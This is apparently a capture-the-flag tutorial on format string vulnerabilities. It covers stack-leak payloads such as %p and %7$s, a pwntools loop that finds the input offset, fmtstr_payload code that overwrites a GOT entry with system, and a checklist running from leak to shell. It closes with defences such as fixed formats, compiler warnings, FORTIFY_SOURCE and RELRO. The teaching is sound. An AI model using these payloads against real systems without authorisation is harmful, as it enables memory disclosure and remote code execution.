Skip to content

Format String

Format string vulnerabilities occur when a program passes attacker-controlled data directly as the format string to functions like printf, instead of using a fixed format. That is, printf(user) instead of printf("%s", user). Since format specifiers (%x, %s, %n) read and write memory, an attacker controlling the string can leak memory (read the stack, addresses, the canary) and, with %n, write to arbitrary memory.

# VULNERABLE: the user controls the format string
printf(user_input);
# CORRECT: fixed format, the user is just an argument
printf("%s", user_input);

If you input %x %x %x, printf interprets them as specifiers and dumps stack values that never existed as arguments.

# dump stack values
%x %x %x %x ... # values in hex
%p %p %p %p # as pointers (better on 64-bit)
# direct positional access (the N-th argument)
%7$p # the 7th stack value
# read a string at an address
%s # reads the pointed string (can crash if invalid)
%7$s # the string pointed to by the 7th argument

Uses: leak the canary (bypass the stack protector), leak libc/PIE addresses (bypass ASLR), read the flag if it’s in memory.

# pwntools: find your input's offset on the stack
from pwn import *
for i in range(1,20):
p = process('./vuln'); p.sendline(f'AAAA%{i}$p'.encode())
print(i, p.recvline()) # when you see 41414141/0x41414141, that's your offset

%n writes to the pointed address the number of bytes printed so far. By controlling how many bytes are printed (with field width, %100c) and the target address, you write arbitrary values:

%n writes an int (4 bytes) %hn writes a short (2 bytes) %hhn 1 byte
# technique: control the count with %<N>c and the destination with a stack pointer

With arbitrary write you can: overwrite a GOT entry (see GOT/PLT Overwrite) to redirect a function to system, change a control variable, or overwrite the return address.

from pwn import *
# fmtstr_payload computes the payload to write {address: value}
payload = fmtstr_payload(offset, {got_printf: addr_system})
p.sendline(payload)

fmtstr_payload(offset, {addr: value}) automatically generates the format string that writes value to addr, given your input’s offset.

1. Confirm the vulnerability (input %p %p and see if it dumps the stack)
2. Find your input's offset (%N$p until you see your marker)
3. LEAK: leak canary, libc and/or PIE (bypass mitigations)
4. WRITE (%n / fmtstr_payload): overwrite GOT / retaddr -> redirect to system/one_gadget
5. Shell
  • Always use a fixed format: printf("%s", x), never printf(x). Same with fprintf, sprintf, syslog, etc.
  • Compile with warnings (-Wformat -Wformat-security): the compiler warns on non-constant formats.
  • FORTIFY_SOURCE limits %n in format strings in writable memory; Full RELRO protects the GOT.
  • Code review / SAST to detect user-controlled formats.
  • Confirm format string (%p %p dumps the stack)
  • Find your input’s offset (%N$p)
  • Leak: canary, libc, PIE (bypass mitigations)
  • Arbitrary write with %n / fmtstr_payload
  • Overwrite GOT (GOT/PLT Overwrite) or retaddr → system
  • Chain leak + write in the same exploit
  • Shell/flag locally → remote
  • Blue: fixed format, RELRO, FORTIFY?